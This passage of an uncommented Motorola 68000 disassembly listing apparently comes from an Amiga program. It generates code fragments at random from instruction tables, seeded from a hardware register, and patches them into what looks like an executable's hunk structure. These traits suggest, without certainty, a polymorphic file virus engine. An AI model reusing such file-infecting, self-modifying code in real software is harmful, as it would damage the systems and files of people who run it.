  608.     MOVEA.L    (A7)+,A0        ;524: 205F
  609.     JMP    -372(A6)        ;526: 4EEEFE8C
  610. LAB_0038:
  611.     MOVE.L    116(A2),D1        ;52A: 222A0074
  612.     BSR.S    LAB_0034        ;52E: 61C0
  613.     ADDA    #$0084,A2        ;530: D4FC0084
  614.     MOVE.L    A2,8(A4)        ;534: 294A0008
  615.     MOVEQ    #34,D0            ;538: 7022
  616.     BSR.S    LAB_0035        ;53A: 61CA
  617.     MOVE.L    A2,D0            ;53C: 200A
  618.     LSR.L    #2,D0            ;53E: E488
  619.     ADDQ.L    #3,D0            ;540: 5680
  620.     MOVE.L    D0,8(A4)        ;542: 29400008
  621.     MOVEQ    #28,D0            ;546: 701C
  622. LAB_0039:
  623.     BRA.S    LAB_0035        ;548: 60BC
  624. LAB_003A:
  625.     LSR.L    #2,D0            ;54A: E488
  626.     MOVE.L    -(A4),D1        ;54C: 2224
  627.     LSL.L    #2,D1            ;54E: E589
  628.     SUBA.L    A0,A0            ;550: 91C8
  629.     MOVE.L    36(A0,D1.L),(A4)+    ;552: 28F01824
  630.     MOVE.L    (A4),D4            ;556: 2814
  631.     MOVE.L    D0,(A4)            ;558: 2880
  632.     MOVE    #$040A,D0        ;55A: 303C040A
  633.     BSR.S    LAB_0039        ;55E: 61E8
  634.     MOVE.L    D4,-4(A4)        ;560: 2944FFFC
  635.     MOVEQ    #26,D0            ;564: 701A
  636.     BSR.S    LAB_0039        ;566: 61E0
  637.     LEA    16(A2),A2        ;568: 45EA0010
  638.     MOVE.L    (A2),D5            ;56C: 2A12
  639.     SUB.L    -(A2),D5        ;56E: 9AA2
  640.     CLR.L    -(A2)            ;570: 42A2
  641.     SUBQ.L    #8,A2            ;572: 518A
  642.     RTS                ;574: 4E75
  643. LAB_003B:
  644.     MOVE.B    EXT_0007,D0        ;576: 103900DFF007
  645.     EOR.B    D0,D7            ;57C: B107
  646.     ROL    #7,D7            ;57E: EF5F
  647.     MOVE    D7,D0            ;580: 3007
  648.     RTS                ;582: 4E75
  649. LAB_003C:
  650.     BSR.S    LAB_003B        ;584: 61F0
  651.     LSR    #8,D0            ;586: E048
  652.     RTS                ;588: 4E75
  653. LAB_003D:
  654.     MOVEM.L    D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;58A: 48E7DBFE
  655.     BSR.S    LAB_003B        ;58E: 61E6
  656.     MOVE    D0,-1752(A0)        ;590: 3140F928
  657.     MOVE.L    D0,-(A7)        ;594: 2F00
  658.     JSR    -132(A6)        ;596: 4EAEFF7C
  659.     BSR.S    LAB_003C        ;59A: 61E8
  660.     LSR.B    #6,D0            ;59C: EC08
  661.     MOVE    D0,D4            ;59E: 3800
  662. LAB_003E:
  663.     MOVE    D5,D1            ;5A0: 3205
  664.     LSR    #8,D1            ;5A2: E049
  665.     BSR.S    LAB_003F        ;5A4: 6108
  666.     DC.W    $FB74            ;5A6
  667.     DC.W    $0009            ;5A8
  668.     DC.W    $000B            ;5AA
  669.     DC.W    $0009            ;5AC
  670. LAB_003F:
  671.     MOVEQ    #3,D2            ;5AE: 7403
  672.     MOVEA.L    (A7),A3            ;5B0: 2657
  673.     MOVEA.L    (A7)+,A2        ;5B2: 245F
  674. LAB_0040:
  675.     ADDA    (A2)+,A3        ;5B4: D6DA
  676.     MOVE.B    D1,(A3)+        ;5B6: 16C1
  677.     MOVE.B    D5,(A3)+        ;5B8: 16C5
  678.     DBF    D2,LAB_0040        ;5BA: 51CAFFF8
  679.     LINK    A2,#-138        ;5BE: 4E52FF76
  680.     MOVEA.L    A7,A5            ;5C2: 2A4F
  681.     LEA    18(A5),A4        ;5C4: 49ED0012
  682. LAB_0041:
  683.     MOVEQ    #-64,D1            ;5C8: 72C0
  684.     MOVEQ    #5,D3            ;5CA: 7605
  685. LAB_0042:
  686.     BSR.S    LAB_003B        ;5CC: 61A8
  687.     LSR.B    #5,D0            ;5CE: EA08
  688.     BSET    D0,D1            ;5D0: 01C1
  689.     BNE.S    LAB_0042        ;5D2: 66F8
  690.     MOVE.B    D0,-(A2)        ;5D4: 1500
  691.     DBF    D3,LAB_0042        ;5D6: 51CBFFF4
  692.     ADDQ    #1,D2            ;5DA: 5242
  693.     BEQ.S    LAB_0041        ;5DC: 67EA
  694.     CLR.L    -8(A2)            ;5DE: 42AAFFF8
  695.     MOVEQ    #0,D6            ;5E2: 7C00
  696. LAB_0043:
  697.     BSR.S    LAB_003B        ;5E4: 6190
  698.     MOVE    D0,D2            ;5E6: 3400
  699.     ASR    #2,D2            ;5E8: E442
  700.     BSR.S    LAB_003C        ;5EA: 6198
  701.     LSR.B    #4,D0            ;5EC: E808
  702.     MOVE    D0,D1            ;5EE: 3200
  703.     SUBQ    #8,D1            ;5F0: 5141
  704.     BGT.S    LAB_0043        ;5F2: 6EF0
  705.     LEA    LAB_0007(PC),A3        ;5F4: 47FAFB4E
  706.     MOVE.B    8(A3,D1.W),D1        ;5F8: 12331008
  707.     EXT    D1            ;5FC: 4881
  708.     ADDA    D1,A3            ;5FE: D6C1
  709.     MOVE.B    D6,D3            ;600: 1606
  710.     AND.B    (A3),D3            ;602: C613
  711.     CMP.B    (A3)+,D3        ;604: B61B
  712.     BNE.S    LAB_0043        ;606: 66DC
  713.     BSET    D0,D6            ;608: 01C6
  714.     BNE.S    LAB_0043        ;60A: 66D8
  715.     BSR    LAB_003C        ;60C: 6100FF76
  716.     LSR.B    #6,D0            ;610: EC08
  717.     MOVE.B    0(A3,D0.W),D0        ;612: 10330000
  718.     ADDA    D0,A3            ;616: D6C0
  719.     BSR.S    LAB_0048        ;618: 616C
  720.     MOVE    D6,D0            ;61A: 3006
  721.     LSL    #7,D0            ;61C: EF48
  722.     BPL.S    LAB_0043        ;61E: 6AC4
  723.     MOVEA.L    -(A2),A3        ;620: 2662
  724.     MOVE.L    A4,D0            ;622: 200C
  725.     SUB.L    A3,D0            ;624: 908B
  726.     ADD    D0,(A3)            ;626: D153
  727.     MOVE.L    A4,D1            ;628: 220C
  728.     SUB.L    A5,D1            ;62A: 928D
  729.     ADDA    D1,A1            ;62C: D2C1
  730.     MOVEA.L    A1,A3            ;62E: 2649
  731.     MOVE.L    D5,D6            ;630: 2C05
  732.     ADD    D1,D5            ;632: DA41
  733. LAB_0044:
  734.     MOVE.B    -(A0),D0        ;634: 1020
  735.     MOVEQ    #2,D3            ;636: 7602
  736. LAB_0045:
  737.     MOVE    -(A5),D2        ;638: 3425
  738.     MOVEA.L    -(A5),A2        ;63A: 2465
  739.     JSR    (A2)            ;63C: 4E92
  740.     DBF    D3,LAB_0045        ;63E: 51CBFFF8
  741.     LEA    18(A5),A5        ;642: 4BED0012
  742.     MOVE.B    D0,-(A3)        ;646: 1700
  743.     DBF    D6,LAB_0044        ;648: 51CEFFEA
  744.     SUBQ    #1,D1            ;64C: 5341
  745. LAB_0046:
  746.     MOVE.B    -(A4),-(A3)        ;64E: 1724
  747.     DBF    D1,LAB_0046        ;650: 51C9FFFC
  748.     MOVEA.L    A1,A0            ;654: 2049
  749.     LEA    142(A7),A7        ;656: 4FEF008E
  750.     DBF    D4,LAB_003E        ;65A: 51CCFF44
  751.     JSR    -138(A6)        ;65E: 4EAEFF76
  752.     ADDQ    #7,D5            ;662: 5E45
  753.     LSR    #2,D5            ;664: E44D
  754.     BCS.S    LAB_0047        ;666: 6502
  755.     ADDQ    #2,A1            ;668: 5449
  756. LAB_0047:
  757.     LEA    (EXT_0002).W,A2        ;66A: 45F803F2
  758.     MOVE.L    A2,(A1)            ;66E: 228A
  759.     MOVE.L    LAB_000A(PC),-(A3)    ;670: 273AFB90
  760.     EXT.L    D5            ;674: 48C5
  761.     MOVE.L    D5,-(A3)        ;676: 2705
  762.     SUBQ    #8,A2            ;678: 514A
  763.     SUBQ    #1,A2            ;67A: 534A
  764.     MOVE.L    A2,-(A3)        ;67C: 270A
  765.     MOVE.L    (A7)+,D2        ;67E: 241F
  766.     MOVEM.L    (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;680: 4CDF7FDB
  767.     RTS                ;684: 4E75
  768. LAB_0048:
  769.     MOVE.B    (A3)+,D0        ;686: 101B
  770.     EXT    D0            ;688: 4880
  771.     MOVE.B    LAB_004D(PC,D0.W),D0    ;68A: 103B005E
  772.     EXT    D0            ;68E: 4880
  773.     JSR    LAB_004D(PC,D0.W)    ;690: 4EBB0058
  774.     BRA.S    LAB_0048        ;694: 60F0
  775.     MOVE.L    -8(A2),D0        ;696: 202AFFF8
  776.     SUB.L    A4,D0            ;69A: 908C
  777.     MOVE    D0,(A4)+        ;69C: 38C0
  778.     BRA.S    LAB_004B        ;69E: 602A
  779. LAB_0049:
  780.     ANDI    #$0007,D2        ;6A0: 02420007
  781.     ADDQ    #1,D2            ;6A4: 5242
  782.     RTS                ;6A6: 4E75
  783.     MOVEQ    #0,D0            ;6A8: 7000
  784.     BRA.S    LAB_004A        ;6AA: 600C
  785.     BSR.S    LAB_0049        ;6AC: 61F2
  786.     MOVE    D2,D0            ;6AE: 3002
  787.     NEG    D0            ;6B0: 4440
  788.     BRA.S    LAB_004A        ;6B2: 6004
  789.     BSR.S    LAB_0049        ;6B4: 61EA
  790.     MOVE    D2,D0            ;6B6: 3002
  791. LAB_004A:
  792.     MOVE.L    A4,-4(A2)        ;6B8: 254CFFFC
  793.     MOVE    D0,(A4)+        ;6BC: 38C0
  794.     RTS                ;6BE: 4E75
  795.     BSR.S    LAB_0050        ;6C0: 6168
  796.     LSL.B    #4,D1            ;6C2: E909
  797.     MOVE.B    D1,(A4)+        ;6C4: 18C1
  798.     MOVE.B    D2,(A4)            ;6C6: 1882
  799.     NEG.B    (A4)+            ;6C8: 441C
  800. LAB_004B:
  801.     ADDQ.L    #4,A7            ;6CA: 588F
  802.     RTS                ;6CC: 4E75
  803.     BSR.S    LAB_0050        ;6CE: 615A
  804.     ROR    #7,D1            ;6D0: EE59
  805. LAB_004C:
  806.     BSR.S    LAB_0051        ;6D2: 6160
  807.     OR    D0,D1            ;6D4: 8240
  808.     MOVE    D1,(A4)+        ;6D6: 38C1
  809.     RTS                ;6D8: 4E75
  810.     BSR.S    LAB_0050        ;6DA: 614E
  811.     BRA.S    LAB_004C        ;6DC: 60F4
  812.     BSR.S    LAB_0050        ;6DE: 614A
  813.     ROR    #7,D1            ;6E0: EE59
  814.     MOVE    D1,D0            ;6E2: 3001
  815.     BSR.S    LAB_0050        ;6E4: 6144
  816.     OR    D0,D1            ;6E6: 8240
  817.     BRA.S    LAB_004C        ;6E8: 60E8
  818. LAB_004D:
  819.     ASR    -(A4)            ;6EA: E0E4
  820.     DC.W    $F0F4            ;6EC
  821.     MOVE.B    (A4),D4            ;6EE: 1814
  822.     MOVE.L    7894(A2),D1        ;6F0: 222A1ED6
  823.     DC.W    $ACB6            ;6F4
  824.     MOVEA    (A2),A0            ;6F6: 3052
  825.     CMPA    A2,A7            ;6F8: BECA
  826.     AND    (A6)+,D1        ;6FA: C25E
  827.     MOVEQ    #0,D1            ;6FC: 7200
  828.     MOVE.B    (A3)+,(A4)+        ;6FE: 18DB
  829.     MOVE.B    (A3)+,(A4)+        ;700: 18DB
  830.     MOVE.B    (A3)+,(A4)+        ;702: 18DB
  831.     MOVE.B    (A3)+,(A4)+        ;704: 18DB
  832.     RTS                ;706: 4E75
  833.     ASR.B    #1,D2            ;708: E202
  834.     EXT    D2            ;70A: 4882
  835.     BSR.S    LAB_0051        ;70C: 6126
  836.     ADD    D2,D0            ;70E: D042
  837.     MOVE    D0,(A4)+        ;710: 38C0
  838.     RTS                ;712: 4E75
  839.     MOVE    D2,(A4)            ;714: 3882
  840.     NEG    (A4)+            ;716: 445C
  841. LAB_004E:
  842.     BRA.S    LAB_004B        ;718: 60B0
  843.     BSR.S    LAB_0050        ;71A: 610E
  844.     BSR.S    LAB_0051        ;71C: 6116
  845.     MOVE    D0,(A4)            ;71E: 3880
  846.     LSL    #5,D2            ;720: EB4A
  847. LAB_004F:
  848.     LSR    #4,D2            ;722: E84A
  849.     OR.B    D2,(A4)+        ;724: 851C
  850.     OR.B    D1,(A4)+        ;726: 831C
  851.     BRA.S    LAB_004B        ;728: 60A0
  852. LAB_0050:
  853.     MOVEQ    #0,D1            ;72A: 7200
  854.     MOVE.B    (A3)+,D1        ;72C: 121B
  855.     MOVE.B    0(A2,D1.W),D1        ;72E: 12321000
  856.     RTS                ;732: 4E75
  857. LAB_0051:
  858.     MOVE.B    (A3)+,D0        ;734: 101B
  859.     LSL    #8,D0            ;736: E148
  860.     MOVE.B    (A3)+,D0        ;738: 101B
  861.     RTS                ;73A: 4E75
  862. LAB_0052:
  863.     TST.L    -8(A2)            ;73C: 4AAAFFF8
  864.     BNE.S    LAB_0053        ;740: 6604
  865.     MOVE.L    A4,-8(A2)        ;742: 254CFFF8
  866. LAB_0053:
  867.     RTS                ;746: 4E75
  868.     BSR.S    LAB_0052        ;748: 61F2
  869.     MOVE.B    (A3)+,D0        ;74A: 101B
  870.     MOVE.B    D0,(A4)+        ;74C: 18C0
  871.     MOVE.B    9(A2),(A4)        ;74E: 18AA0009
  872.     BSET    #4,(A4)+        ;752: 08DC0004
  873. LAB_0054:
  874.     NOT.B    D2            ;756: 4602
  875.     BEQ.S    LAB_0054        ;758: 67FC
  876.     MOVE    D2,(A4)+        ;75A: 38C2
  877.     MOVE.B    (A3)+,D1        ;75C: 121B
  878.     EXT    D1            ;75E: 4881
  879.     PEA    0(A3,D1.W)        ;760: 48731000
  880. LAB_0055:
  881.     MOVE.L    (A7)+,(A5)+        ;764: 2ADF
  882.     MOVE    D2,(A5)+        ;766: 3AC2
  883.     BRA.S    LAB_004E        ;768: 60AE
  884. LAB_0056:
  885.     MOVE.L    D4,-(A0)        ;76A: 2104
  886.     DC.W    $6803            ;76C
  887.     DC.W    $144B            ;76E
  888.     DC.W    $6803            ;770
  889.     MOVEQ    #-56,D1            ;772: 72C8
  890.     DC.W    $0000            ;774
  891.     DC.W    $2198            ;776
  892.     BTST    D6,D0            ;778: 0D00
  893.     DC.W    $6803            ;77A
  894.     BSR.S    LAB_004F        ;77C: 61A4
  895.     DC.W    $0006            ;77E
  896.     DC.W    $FFFF            ;780
  897.     OR.B    D0,D0            ;782: 8000
  898.     DC.W    $FFFF            ;784
  899.     OR.B    D0,D0            ;786: 8000
  900.     ORI.B    #$00,D0            ;788: 00000000
  901.     BTST    D0,D0            ;78C: 0100
  902.     ORI.B    #$00,D0            ;78E: 00000000
  903.     OR.B    D0,D0            ;792: 8000
  904.     ORI.B    #$00,D0            ;794: 00000000
  905.     ORI.B    #$F8,D0            ;798: 000000F8
  906.     MOVE    0(A4),D0        ;79C: 302C0000
  907.     DC.W    $0000            ;7A0
  908.     BVC.S    LAB_0057        ;7A2: 6802
  909.     DC.W    $7334            ;7A4
  910. LAB_0057:
  911.     DC.W    $6803            ;7A6
  912.     BRA.S    LAB_0055        ;7A8: 60BA
  913.     DC.W    $6803            ;7AA
  914.     SUBQ    #8,(A4)            ;7AC: 5154
  915.     DC.W    $6803            ;7AE
  916.     BSR.S    LAB_0054        ;7B0: 61A4
  917.     ORI.B    #$00,D0            ;7B2: 00000000
  918.     ORI.B    #$00,D0            ;7B6: 00000000
  919.     ORI.B    #$00,D0            ;7BA: 00000000
  920.     ORI.B    #$00,D0            ;7BE: 00000000
  921.     BVC.S    LAB_0058        ;7C2: 6802
  922.     CLR.L    (A0)            ;7C4: 4290
  923. LAB_0058:
  924.     ORI.B    #$00,D0            ;7C6: 00000000
  925.     ORI.B    #$00,D0            ;7CA: 00000000
  926.     ORI.B    #$00,D0            ;7CE: 00000000
  927.     ORI.B    #$00,D0            ;7D2: 00000000
  928.     ORI.B    #$00,D0            ;7D6: 00000000
  929.     DC.W    $0008            ;7DA
  930.     DC.W    $6803            ;7DC
  931.     DC.W    $5070            ;7DE
  932.     DC.W    $6803            ;7E0
  933.     ST    -(A4)            ;7E2: 50E4
  934.     ORI.B    #$00,D0            ;7E4: 00000000
  935.     DC.W    $6803            ;7E8
  936.     ST    -(A0)            ;7EA: 50E0
  937.     END
  938.